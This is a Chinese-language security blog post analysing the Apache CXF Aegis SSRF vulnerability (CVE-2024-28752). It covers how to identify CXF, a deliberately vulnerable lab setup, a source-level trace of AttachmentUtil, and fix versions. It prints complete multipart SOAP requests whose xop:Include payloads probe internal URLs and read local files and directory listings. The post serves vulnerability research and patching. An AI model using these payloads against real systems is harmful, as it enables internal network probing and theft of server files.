Apache CXF框架下WebService的SSRF漏洞挖掘思路

免责声明

 本帐号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者无关。如有涉及公司与个人敏感信息,侵权烦请告知,我会立即删除并致歉。

前言

Web Service 概念

首先需要知道什么是Web Service:

WebService 是一种基于网络的标准化服务,允许不同平台、不同语言的应用程序通过 HTTP/HTTPs 协议进行交互。它通过标准格式(如 XML/JSON)传递数据,支持以下两种主要类型:

  1. SOAP:基于 XML 的协议,强调结构化和强类型,常用于企业级系统集成。

  2. RESTful:基于 HTTP 方法(GET/POST 等)的轻量级架构,灵活易用,适合移动端和 Web 应用。

核心用途:跨系统数据交换、微服务通信、第三方 API 集成。

Apache CXF框架简介

其次需要了解Apache CXF框架

Apache CXF 是一个开源的 Java 框架,Apache CXF 框架在因其支持 SOAP 和 RESTful 双协议、兼容性强且安全性高,成为企业级服务开发的重要工具。

主要特性

  • 双协议支持:同时支持 SOAP 和 RESTful 服务开发。

  • 灵活数据绑定:集成 Aegis、JAXB 等,支持 XML/JSON 数据转换。

  • 无缝整合:与 Spring、OSGi 等主流框架深度集成。

  • 安全扩展:提供 WS-Security、OAuth 等安全机制。

  • 高性能:优化协议处理,适用于高并发场景

思路分析

了解完基本概念以后,怎么判断目标是否使用了Apache CXF:

1、查看 pom.xml 、web.xml 文件

 pom.xml文件,搜索以下依赖项:

<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.x.x</version>
</dependency>

其他常见模块:cxf-corecxf-rt-transports-http等

web.xml 文件,搜索以下依赖项:

	<servlet>
		<servlet-name>CXFServlet</servlet-name>
		<servlet-class>org.apache.cxf.transport.servlet.CXFServlet</servlet-class>
	</servlet>
	<servlet-mapping>
		<servlet-name>CXFServlet</servlet-name>
		<url-pattern>/rest/*</url-pattern>
	</servlet-mapping>

2、WSDL 文件分析

CXF 生成的 SOAP 服务默认会暴露 WSDL 文件(如 http://服务地址?wsdl),其特征如下:

  • 命名空间:包含 http://cxf.apache.org/ 的命名空间声明。

  • 服务端点:服务端点地址可能包含 /services/ 路径。

  • Schema 特征:检查 XML 中是否包含 CXF 特定元素(如 <soap:address> 中的路径)。

日常漏洞挖掘中比较常见的方式就是通过war包以及jar文件,反编译后从/WEB-INF/lib/BOOT-INF/lib/ 目录中查找 cxf-core-3.x.x.jar文件以及web.xml中定义的servlet:

jar包

web.xml

漏洞挖掘以及利用

2024-03-14日apache官方发布了一个漏洞公告:

https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt

修复了一个 Apache CXF SSRF漏洞(CVE-2024-2875),从漏洞通告可以得知Aegis databinding 组件的AttachmentUtil 类存在漏洞,导致存在SSRF漏洞。

环境搭建

本地搭建一个简单的WebService服务,导入存在漏洞的组件版本 3.4.9

      <!-- Apache CXF 核心组件(漏洞版本) -->
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-frontend-jaxws</artifactId>
            <version>3.4.9</version>
        </dependency>
        <!-- Aegis 数据绑定(SSRF 漏洞相关) -->
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-databinding-aegis</artifactId>
            <version>3.4.9</version>
        </dependency>
        <!-- 嵌入式 Jetty 服务器 -->
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-transports-http-jetty</artifactId>
            <version>3.4.9</version>
        </dependency>

创建一个 VulnerableServiceVul 接口:

import javax.jws.WebService;

@WebService
public interface VulnerableService {
    String fetchData(String url); 
}

编写一个简单的实现类:

import javax.jws.WebService;
import java.net.HttpURLConnection;
import java.net.URL;

@WebService(endpointInterface = "VulnerableService")
public class VulnerableServiceImpl implements VulnerableService {
    @Override
    public String fetchData(String url) {
        try {
            URL target = new URL(url);
            HttpURLConnection conn = (HttpURLConnection) target.openConnection();
            conn.setRequestMethod("GET");
            return "Response Code: " + conn.getResponseCode();
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

编写一个启动在本地8090端口的web服务:

package com.example;

import com.example.service.VulnerableService;
import com.example.service.VulnerableServiceImpl;
import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(VulnerableService.class);
        factory.setAddress("http://0.0.0.0:8090/ssrf");
        factory.setServiceBean(new VulnerableServiceImpl());
        factory.create();
        System.out.println("服务已启动: http://localhost:8090/ssrf?wsdl");
    }
}

启动web服务,运行正常:

漏洞分析

通过漏洞通告定位到AttachmentUtil类: org.apache.cxf.attachment.AttachmentUtil 

getAttachmentDataSource方法
public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
    if (contentId.startsWith("cid:")) {
        // 处理 Content-ID 本地引用
        try {
            contentId = URLDecoder.decode(contentId.substring(4), "UTF-8");
        } catch (UnsupportedEncodingException ue) {
            contentId = contentId.substring(4);
        }
        return loadDataSource(contentId, atts);
    } else if (contentId.indexOf("://") == -1) {
        // 处理本地资源引用
        return loadDataSource(contentId, atts);
    } else {
        // 直接解析 URL 协议
        try {
            return new URLDataSource(new URL(contentId));
        } catch (MalformedURLException e) {
            throw new Fault(e);
        }
    }
}

从这个代码可以看到 如果 contentId 参数包含外部 URL(如 http://attacker.comfile:///etc/passwd)时,代码直接调用 new URL(contentId) 发起请求,导致攻击者可构造恶意请求,造成SSRF漏洞,通过插入一个XOP标签进行触发,例如以下格式:

<xop:Include href="http://内网IP:端口/敏感路径"/>   <!-- 探测内网服务 -->
<xop:Include href="file:///etc/passwd"/>          <!-- 读取本地文件 -->

找到漏洞的代码后继续寻找触发点,定位到这个class文件:

1、请求解析入口:AttachmentDeserializer

AttachmentDeserializer 类负责拦截器处理包含附件的请求,当检测到 Content-Type: multipart/related 时,该拦截器会启动多部分解析流程。

    public AttachmentDeserializer(Message message) {
        this(message, Collections.singletonList("multipart/related"));
    }

    public AttachmentDeserializer(Message message, List<String> supportedTypes) {
        this.message = message;
        this.supportedTypes = supportedTypes;
    }
    
    public void initializeAttachments() throws IOException {
        initializeRootMessage();

        attachments = new LazyAttachmentCollection(this);
        message.setAttachments(attachments);
    }
2、附件解析:AttachmentDataSource 和 AttachmentUtil

在解析附件时,会调用 AttachmentUtil.createAttachment 处理:

Map<String, List<String>> headers = this.loadPartHeaders(this.stream);
return (AttachmentImpl)this.createAttachment(headers);
3、数据绑定层JAXBA解析XOP Include标签

JAXBAttachmentUnmarshaller类会调用AttachmentUtil.getAttachmentDataSource函数解析<xop:Include href="..."> 标签从而触发SSRF漏洞:

public class JAXBAttachmentUnmarshaller extends AttachmentUnmarshaller {
    private static final Logger LOG = LogUtils.getL7dLogger(JAXBAttachmentUnmarshaller.class);

    private Collection<Attachment> attachments;
    
    public JAXBAttachmentUnmarshaller(Collection<Attachment> attachments) {
        super();
        this.attachments = attachments;
    }

    @Override
    public DataHandler getAttachmentAsDataHandler(String contentId) {
        return new DataHandler(AttachmentUtil.getAttachmentDataSource(contentId, attachments));
    }

    @Override
    public byte[] getAttachmentAsByteArray(String contentId) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            InputStream is = AttachmentUtil.getAttachmentDataSource(contentId, attachments)
                                           .getInputStream();
            IOUtils.copy(is, bos);
            is.close();
            bos.close();
        } catch (IOException e) {
            throw new Fault(new org.apache.cxf.common.i18n.Message("ATTACHMENT_READ_ERROR", LOG), e);
        }
        return bos.toByteArray();
    }

    @Override
    public boolean isXOPPackage() {
        return attachments != null;
    }

漏洞复现

访问本地的8090端口的webservice服务:

http://127.0.0.1:8090/ssrf?wsdl

推荐通过burp的Wsdler插件解析xml数据:(https://github.com/NetSPI/Wsdler)

构造为Content-Type: multipart/related的数据包,插入<xop:Include href="...">标签:

POST /ssrf HTTP/1.1
Host: 10.0.0.3:8090
Content-Type: multipart/related; boundary=----4upt9dwdca8rtwq9osuz
SOAPAction: ""
Accept-Encoding: gzip, deflate
Content-Length: 515

------4upt9dwdca8rtwq9osuz
Content-Disposition: form-data; name="part1"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:ser="http://service.example.com/"
xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:processRequest>
         <arg0>
            <xop:Include href="http://127.0.0.1:8090/ssrf?wsdl"/>
         </arg0>
      </ser:processRequest>
   </soapenv:Body>
</soapenv:Envelope>
------4upt9dwdca8rtwq9osuz--

服务器返回如下:

base64解码即可获取到ssrf返回的内网服务器网站信息

通过SSRF实现任意文件读取

POST /ssrf HTTP/1.1
Host: 10.0.0.3:8090
Content-Type: multipart/related; boundary=----4upt9dwdca8rtwq9osuz
SOAPAction: ""
Accept-Encoding: gzip, deflate
Content-Length: 510

------4upt9dwdca8rtwq9osuz
Content-Disposition: form-data; name="part1"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:ser="http://service.example.com/"
xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:processRequest>
         <arg0>
            <xop:Include href="file:///C:/Windows/win.ini"/>
         </arg0>
      </ser:processRequest>
   </soapenv:Body>
</soapenv:Envelope>
------4upt9dwdca8rtwq9osuz--

任意文件读取成功:

file协议支持目录遍历:

POST /ssrf HTTP/1.1
Host: 10.0.0.3:8090
Content-Type: multipart/related; boundary=----4upt9dwdca8rtwq9osuz
SOAPAction: ""
Accept-Encoding: gzip, deflate
Content-Length: 503

------4upt9dwdca8rtwq9osuz
Content-Disposition: form-data; name="part1"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:ser="http://service.example.com/"
xmlns:xop="http://www.w3.org/2004/08/xop/include">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:processRequest>
         <arg0>
            <xop:Include href="file:///C:/Windows/"/>
         </arg0>
      </ser:processRequest>
   </soapenv:Body>
</soapenv:Envelope>
------4upt9dwdca8rtwq9osuz--

目录遍历成功:

组件影响

Apache CXF Aegis DataBinding 组件版本低于4.0.4, 3.6.3 ,3.5.8,多个产品受该漏洞影响例如最近的蓝凌OA WebService任意文件读取漏洞等。

漏洞修复

将 org.apache.cxf:cxf-rt-databinding-aegis 升级至 4.0.4 及以上版本

将 org.apache.cxf:cxf-rt-databinding-aegis 升级至 3.6.3 及以上版本

将 org.apache.cxf:cxf-rt-databinding-aegis 升级至 3.5.8 及以上版本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值